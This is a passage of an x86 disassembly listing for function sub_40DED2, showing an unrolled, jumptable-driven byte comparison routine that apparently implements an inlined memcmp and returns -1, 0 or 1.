esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E88F ; --------------------------------------------------------------------------- loc_40E88D: ; CODE XREF: sub_40DED2+93Cj xor esi, esi loc_40E88F: ; CODE XREF: sub_40DED2+9AAj ; sub_40DED2+9B9j test esi, esi jnz loc_40E39E loc_40E897: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-15h] ; jumptable 0040E397 case 21 cmp edx, [ecx-15h] jz short loc_40E91C movzx esi, dl movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40E8BF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E8BF: ; CODE XREF: sub_40DED2+9D6j movzx esi, byte ptr [eax-14h] movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40E8E0 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E8E0: ; CODE XREF: sub_40DED2+9F7j movzx esi, byte ptr [eax-13h] movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40E901 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E901: ; CODE XREF: sub_40DED2+A18j movzx esi, byte ptr [eax-12h] movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40E91E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E91E ; --------------------------------------------------------------------------- loc_40E91C: ; CODE XREF: sub_40DED2+9CBj xor esi, esi loc_40E91E: ; CODE XREF: sub_40DED2+A39j ; sub_40DED2+A48j test esi, esi jnz loc_40E39E loc_40E926: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-11h] ; jumptable 0040E397 case 17 cmp edx, [ecx-11h] jz short loc_40E9AB movzx esi, dl movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40E94E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E94E: ; CODE XREF: sub_40DED2+A65j movzx esi, byte ptr [eax-10h] movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40E96F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E96F: ; CODE XREF: sub_40DED2+A86j movzx esi, byte ptr [eax-0Fh] movzx edx, byte ptr [ecx-0Fh] sub esi, edx jz short loc_40E990 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E990: ; CODE XREF: sub_40DED2+AA7j movzx esi, byte ptr [eax-0Eh] movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40E9AD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40E9AD ; --------------------------------------------------------------------------- loc_40E9AB: ; CODE XREF: sub_40DED2+A5Aj xor esi, esi loc_40E9AD: ; CODE XREF: sub_40DED2+AC8j ; sub_40DED2+AD7j test esi, esi jnz loc_40E39E loc_40E9B5: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-0Dh] ; jumptable 0040E397 case 13 cmp edx, [ecx-0Dh] jz short loc_40EA3A movzx esi, dl movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40E9DD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E9DD: ; CODE XREF: sub_40DED2+AF4j movzx esi, byte ptr [eax-0Ch] movzx edx, byte ptr [ecx-0Ch] sub esi, edx jz short loc_40E9FE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40E9FE: ; CODE XREF: sub_40DED2+B15j movzx esi, byte ptr [eax-0Bh] movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40EA1F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EA1F: ; CODE XREF: sub_40DED2+B36j movzx esi, byte ptr [eax-0Ah] movzx edx, byte ptr [ecx-0Ah] sub esi, edx jz short loc_40EA3C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EA3C ; --------------------------------------------------------------------------- loc_40EA3A: ; CODE XREF: sub_40DED2+AE9j xor esi, esi loc_40EA3C: ; CODE XREF: sub_40DED2+B57j ; sub_40DED2+B66j test esi, esi jnz loc_40E39E loc_40EA44: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-9] ; jumptable 0040E397 case 9 cmp edx, [ecx-9] jz short loc_40EACA movzx edx, byte ptr [ecx-9] movzx esi, byte ptr [eax-9] sub esi, edx jz short loc_40EA6D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EA6D: ; CODE XREF: sub_40DED2+B84j movzx esi, byte ptr [eax-8] movzx edx, byte ptr [ecx-8] sub esi, edx jz short loc_40EA8E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EA8E: ; CODE XREF: sub_40DED2+BA5j movzx esi, byte ptr [eax-7] movzx edx, byte ptr [ecx-7] sub esi, edx jz short loc_40EAAF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EAAF: ; CODE XREF: sub_40DED2+BC6j movzx esi, byte ptr [eax-6] movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40EACC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EACC ; --------------------------------------------------------------------------- loc_40EACA: ; CODE XREF: sub_40DED2+B78j xor esi, esi loc_40EACC: ; CODE XREF: sub_40DED2+BE7j ; sub_40DED2+BF6j test esi, esi jnz loc_40E39E loc_40EAD4: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-5] ; jumptable 0040E397 case 5 cmp edx, [ecx-5] jz short loc_40EB59 movzx esi, dl movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40EAFC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EAFC: ; CODE XREF: sub_40DED2+C13j movzx esi, byte ptr [eax-4] movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40EB1D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EB1D: ; CODE XREF: sub_40DED2+C34j movzx esi, byte ptr [eax-3] movzx edx, byte ptr [ecx-3] sub esi, edx jz short loc_40EB3E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EB3E: ; CODE XREF: sub_40DED2+C55j movzx esi, byte ptr [eax-2] movzx edx, byte ptr [ecx-2] sub esi, edx jz short loc_40EB5B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EB5B ; --------------------------------------------------------------------------- loc_40EB59: ; CODE XREF: sub_40DED2+C08j xor esi, esi loc_40EB5B: ; CODE XREF: sub_40DED2+C76j ; sub_40DED2+C85j test esi, esi jnz loc_40E39E loc_40EB63: ; CODE XREF: sub_40DED2+4C5j ; sub_40DED2+10B5j ... movzx ecx, byte ptr [ecx-1] ; jumptable 0040E397 case 1 movzx eax, byte ptr [eax-1] sub eax, ecx jz loc_40E773 xor ecx, ecx test eax, eax setnle cl lea ecx, [ecx+ecx-1] mov eax, ecx jmp loc_40E773 ; --------------------------------------------------------------------------- loc_40EB85: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-1Eh] ; jumptable 0040E397 case 30 cmp edx, [ecx-1Eh] jz short loc_40EC0A movzx esi, dl movzx edx, byte ptr [ecx-1Eh] sub esi, edx jz short loc_40EBAD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EBAD: ; CODE XREF: sub_40DED2+CC4j movzx esi, byte ptr [eax-1Dh] movzx edx, byte ptr [ecx-1Dh] sub esi, edx jz short loc_40EBCE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EBCE: ; CODE XREF: sub_40DED2+CE5j movzx esi, byte ptr [eax-1Ch] movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40EBEF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EBEF: ; CODE XREF: sub_40DED2+D06j movzx esi, byte ptr [eax-1Bh] movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40EC0C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EC0C ; --------------------------------------------------------------------------- loc_40EC0A: ; CODE XREF: sub_40DED2+CB9j xor esi, esi loc_40EC0C: ; CODE XREF: sub_40DED2+D27j ; sub_40DED2+D36j test esi, esi jnz loc_40E39E loc_40EC14: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-1Ah] ; jumptable 0040E397 case 26 cmp edx, [ecx-1Ah] jz short loc_40EC99 movzx esi, dl movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40EC3C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EC3C: ; CODE XREF: sub_40DED2+D53j movzx esi, byte ptr [eax-19h] movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40EC5D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EC5D: ; CODE XREF: sub_40DED2+D74j movzx esi, byte ptr [eax-18h] movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40EC7E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EC7E: ; CODE XREF: sub_40DED2+D95j movzx esi, byte ptr [eax-17h] movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40EC9B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EC9B ; --------------------------------------------------------------------------- loc_40EC99: ; CODE XREF: sub_40DED2+D48j xor esi, esi loc_40EC9B: ; CODE XREF: sub_40DED2+DB6j ; sub_40DED2+DC5j test esi, esi jnz loc_40E39E loc_40ECA3: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-16h] ; jumptable 0040E397 case 22 cmp edx, [ecx-16h] jz short loc_40ED28 movzx esi, dl movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40ECCB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40ECCB: ; CODE XREF: sub_40DED2+DE2j movzx esi, byte ptr [eax-15h] movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40ECEC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40ECEC: ; CODE XREF: sub_40DED2+E03j movzx esi, byte ptr [eax-14h] movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40ED0D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40ED0D: ; CODE XREF: sub_40DED2+E24j movzx esi, byte ptr [eax-13h] movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40ED2A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40ED2A ; --------------------------------------------------------------------------- loc_40ED28: ; CODE XREF: sub_40DED2+DD7j xor esi, esi loc_40ED2A: ; CODE XREF: sub_40DED2+E45j ; sub_40DED2+E54j test esi, esi jnz loc_40E39E loc_40ED32: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-12h] ; jumptable 0040E397 case 18 cmp edx, [ecx-12h] jz short loc_40EDB7 movzx esi, dl movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40ED5A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40ED5A: ; CODE XREF: sub_40DED2+E71j movzx esi, byte ptr [eax-11h] movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40ED7B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40ED7B: ; CODE XREF: sub_40DED2+E92j movzx esi, byte ptr [eax-10h] movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40ED9C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40ED9C: ; CODE XREF: sub_40DED2+EB3j movzx esi, byte ptr [eax-0Fh] movzx edx, byte ptr [ecx-0Fh] sub esi, edx jz short loc_40EDB9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EDB9 ; --------------------------------------------------------------------------- loc_40EDB7: ; CODE XREF: sub_40DED2+E66j xor esi, esi loc_40EDB9: ; CODE XREF: sub_40DED2+ED4j ; sub_40DED2+EE3j test esi, esi jnz loc_40E39E loc_40EDC1: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-0Eh] ; jumptable 0040E397 case 14 cmp edx, [ecx-0Eh] jz short loc_40EE46 movzx esi, dl movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40EDE9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EDE9: ; CODE XREF: sub_40DED2+F00j movzx esi, byte ptr [eax-0Dh] movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40EE0A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EE0A: ; CODE XREF: sub_40DED2+F21j movzx esi, byte ptr [eax-0Ch] movzx edx, byte ptr [ecx-0Ch] sub esi, edx jz short loc_40EE2B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EE2B: ; CODE XREF: sub_40DED2+F42j movzx esi, byte ptr [eax-0Bh] movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40EE48 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EE48 ; --------------------------------------------------------------------------- loc_40EE46: ; CODE XREF: sub_40DED2+EF5j xor esi, esi loc_40EE48: ; CODE XREF: sub_40DED2+F63j ; sub_40DED2+F72j test esi, esi jnz loc_40E39E loc_40EE50: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-0Ah] ; jumptable 0040E397 case 10 cmp edx, [ecx-0Ah] jz short loc_40EED6 movzx edx, byte ptr [ecx-0Ah] movzx esi, byte ptr [eax-0Ah] sub esi, edx jz short loc_40EE79 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EE79: ; CODE XREF: sub_40DED2+F90j movzx edx, byte ptr [ecx-9] movzx esi, byte ptr [eax-9] sub esi, edx jz short loc_40EE9A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EE9A: ; CODE XREF: sub_40DED2+FB1j movzx edx, byte ptr [ecx-8] movzx esi, byte ptr [eax-8] sub esi, edx jz short loc_40EEBB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EEBB: ; CODE XREF: sub_40DED2+FD2j movzx edx, byte ptr [ecx-7] movzx esi, byte ptr [eax-7] sub esi, edx jz short loc_40EED8 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EED8 ; --------------------------------------------------------------------------- loc_40EED6: ; CODE XREF: sub_40DED2+F84j xor esi, esi loc_40EED8: ; CODE XREF: sub_40DED2+FF3j ; sub_40DED2+1002j test esi, esi jnz loc_40E39E loc_40EEE0: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-6] ; jumptable 0040E397 case 6 cmp edx, [ecx-6] jz short loc_40EF65 movzx esi, dl movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40EF08 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EF08: ; CODE XREF: sub_40DED2+101Fj movzx esi, byte ptr [eax-5] movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40EF29 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EF29: ; CODE XREF: sub_40DED2+1040j movzx esi, byte ptr [eax-4] movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40EF4A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EF4A: ; CODE XREF: sub_40DED2+1061j movzx esi, byte ptr [eax-3] movzx edx, byte ptr [ecx-3] sub esi, edx jz short loc_40EF67 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40EF67 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40DED2+1014j xor esi, esi loc_40EF67: ; CODE XREF: sub_40DED2+1082j ; sub_40DED2+1091j test esi, esi jnz loc_40E39E loc_40EF6F: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov dx, [eax-2] ; jumptable 0040E397 case 2 cmp dx, [ecx-2] jz loc_40E771 ; default ; jumptable 0040E397 case 0 loc_40EF7D: ; CODE XREF: sub_40DED2+14C8j ; sub_40DED2+14DBj movzx edx, byte ptr [ecx-2] movzx esi, byte ptr [eax-2] sub esi, edx jz loc_40EB63 ; jumptable 0040E397 case 1 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jnz loc_40F3B3 jmp loc_40EB63 ; jumptable 0040E397 case 1 ; --------------------------------------------------------------------------- loc_40EFA5: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-1Fh] ; jumptable 0040E397 case 31 cmp edx, [ecx-1Fh] jz short loc_40F02B movzx edx, byte ptr [ecx-1Fh] movzx esi, byte ptr [eax-1Fh] sub esi, edx jz short loc_40EFCE xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EFCE: ; CODE XREF: sub_40DED2+10E5j movzx esi, byte ptr [eax-1Eh] movzx edx, byte ptr [ecx-1Eh] sub esi, edx jz short loc_40EFEF xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40EFEF: ; CODE XREF: sub_40DED2+1106j movzx esi, byte ptr [eax-1Dh] movzx edx, byte ptr [ecx-1Dh] sub esi, edx jz short loc_40F010 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F010: ; CODE XREF: sub_40DED2+1127j movzx esi, byte ptr [eax-1Ch] movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40F02D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F02D ; --------------------------------------------------------------------------- loc_40F02B: ; CODE XREF: sub_40DED2+10D9j xor esi, esi loc_40F02D: ; CODE XREF: sub_40DED2+1148j ; sub_40DED2+1157j test esi, esi jnz loc_40E39E loc_40F035: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-1Bh] ; jumptable 0040E397 case 27 cmp edx, [ecx-1Bh] jz short loc_40F0BA movzx esi, dl movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40F05D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F05D: ; CODE XREF: sub_40DED2+1174j movzx esi, byte ptr [eax-1Ah] movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40F07E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F07E: ; CODE XREF: sub_40DED2+1195j movzx esi, byte ptr [eax-19h] movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40F09F xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F09F: ; CODE XREF: sub_40DED2+11B6j movzx esi, byte ptr [eax-18h] movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40F0BC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F0BC ; --------------------------------------------------------------------------- loc_40F0BA: ; CODE XREF: sub_40DED2+1169j xor esi, esi loc_40F0BC: ; CODE XREF: sub_40DED2+11D7j ; sub_40DED2+11E6j test esi, esi jnz loc_40E39E loc_40F0C4: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-17h] ; jumptable 0040E397 case 23 cmp edx, [ecx-17h] jz short loc_40F149 movzx esi, dl movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40F0EC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F0EC: ; CODE XREF: sub_40DED2+1203j movzx esi, byte ptr [eax-16h] movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40F10D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F10D: ; CODE XREF: sub_40DED2+1224j movzx esi, byte ptr [eax-15h] movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40F12E xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F12E: ; CODE XREF: sub_40DED2+1245j movzx esi, byte ptr [eax-14h] movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40F14B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F14B ; --------------------------------------------------------------------------- loc_40F149: ; CODE XREF: sub_40DED2+11F8j xor esi, esi loc_40F14B: ; CODE XREF: sub_40DED2+1266j ; sub_40DED2+1275j test esi, esi jnz loc_40E39E loc_40F153: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-13h] ; jumptable 0040E397 case 19 cmp edx, [ecx-13h] jz short loc_40F1D8 movzx esi, dl movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40F17B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F17B: ; CODE XREF: sub_40DED2+1292j movzx esi, byte ptr [eax-12h] movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40F19C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F19C: ; CODE XREF: sub_40DED2+12B3j movzx esi, byte ptr [eax-11h] movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40F1BD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F1BD: ; CODE XREF: sub_40DED2+12D4j movzx esi, byte ptr [eax-10h] movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40F1DA xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F1DA ; --------------------------------------------------------------------------- loc_40F1D8: ; CODE XREF: sub_40DED2+1287j xor esi, esi loc_40F1DA: ; CODE XREF: sub_40DED2+12F5j ; sub_40DED2+1304j test esi, esi jnz loc_40E39E loc_40F1E2: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-0Fh] ; jumptable 0040E397 case 15 cmp edx, [ecx-0Fh] jz short loc_40F268 movzx edx, byte ptr [ecx-0Fh] movzx esi, byte ptr [eax-0Fh] sub esi, edx jz short loc_40F20B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F20B: ; CODE XREF: sub_40DED2+1322j movzx esi, byte ptr [eax-0Eh] movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40F22C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F22C: ; CODE XREF: sub_40DED2+1343j movzx esi, byte ptr [eax-0Dh] movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40F24D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F24D: ; CODE XREF: sub_40DED2+1364j movzx esi, byte ptr [eax-0Ch] movzx edx, byte ptr [ecx-0Ch] sub esi, edx jz short loc_40F26A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F26A ; --------------------------------------------------------------------------- loc_40F268: ; CODE XREF: sub_40DED2+1316j xor esi, esi loc_40F26A: ; CODE XREF: sub_40DED2+1385j ; sub_40DED2+1394j test esi, esi jnz loc_40E39E loc_40F272: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-0Bh] ; jumptable 0040E397 case 11 cmp edx, [ecx-0Bh] jz short loc_40F2F7 movzx esi, dl movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40F29A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F29A: ; CODE XREF: sub_40DED2+13B1j movzx esi, byte ptr [eax-0Ah] movzx edx, byte ptr [ecx-0Ah] sub esi, edx jz short loc_40F2BB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F2BB: ; CODE XREF: sub_40DED2+13D2j movzx esi, byte ptr [eax-9] movzx edx, byte ptr [ecx-9] sub esi, edx jz short loc_40F2DC xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F2DC: ; CODE XREF: sub_40DED2+13F3j movzx esi, byte ptr [eax-8] movzx edx, byte ptr [ecx-8] sub esi, edx jz short loc_40F2F9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F2F9 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40DED2+13A6j xor esi, esi loc_40F2F9: ; CODE XREF: sub_40DED2+1414j ; sub_40DED2+1423j test esi, esi jnz loc_40E39E loc_40F301: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o mov edx, [eax-7] ; jumptable 0040E397 case 7 cmp edx, [ecx-7] jz short loc_40F386 movzx esi, dl movzx edx, byte ptr [ecx-7] sub esi, edx jz short loc_40F329 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F329: ; CODE XREF: sub_40DED2+1440j movzx esi, byte ptr [eax-6] movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40F34A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F34A: ; CODE XREF: sub_40DED2+1461j movzx esi, byte ptr [eax-5] movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40F36B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40E39E loc_40F36B: ; CODE XREF: sub_40DED2+1482j movzx esi, byte ptr [eax-4] movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40F388 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40F388 ; --------------------------------------------------------------------------- loc_40F386: ; CODE XREF: sub_40DED2+1435j xor esi, esi loc_40F388: ; CODE XREF: sub_40DED2+14A3j ; sub_40DED2+14B2j test esi, esi jnz loc_40E39E loc_40F390: ; CODE XREF: sub_40DED2+4C5j ; DATA XREF: .vty:off_40F4D2o movzx esi, byte ptr [eax-3] ; jumptable 0040E397 case 3 movzx edx, byte ptr [ecx-3] sub esi, edx jz loc_40EF7D xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jz loc_40EF7D loc_40F3B3: ; CODE XREF: sub_40DED2+10C8j mov eax, edx jmp loc_40E773 ; --------------------------------------------------------------------------- loc_40F3BA: ; CODE XREF: sub_40DED2+29j mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] movzx eax, byte ptr [ecx] movzx edx, byte ptr [esi] sub eax, edx jz short loc_40F3DF xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz loc_40F4CC loc_40F3DF: ; CODE XREF: sub_40DED2+14F6j movzx eax, byte ptr [ecx+1] movzx edx, 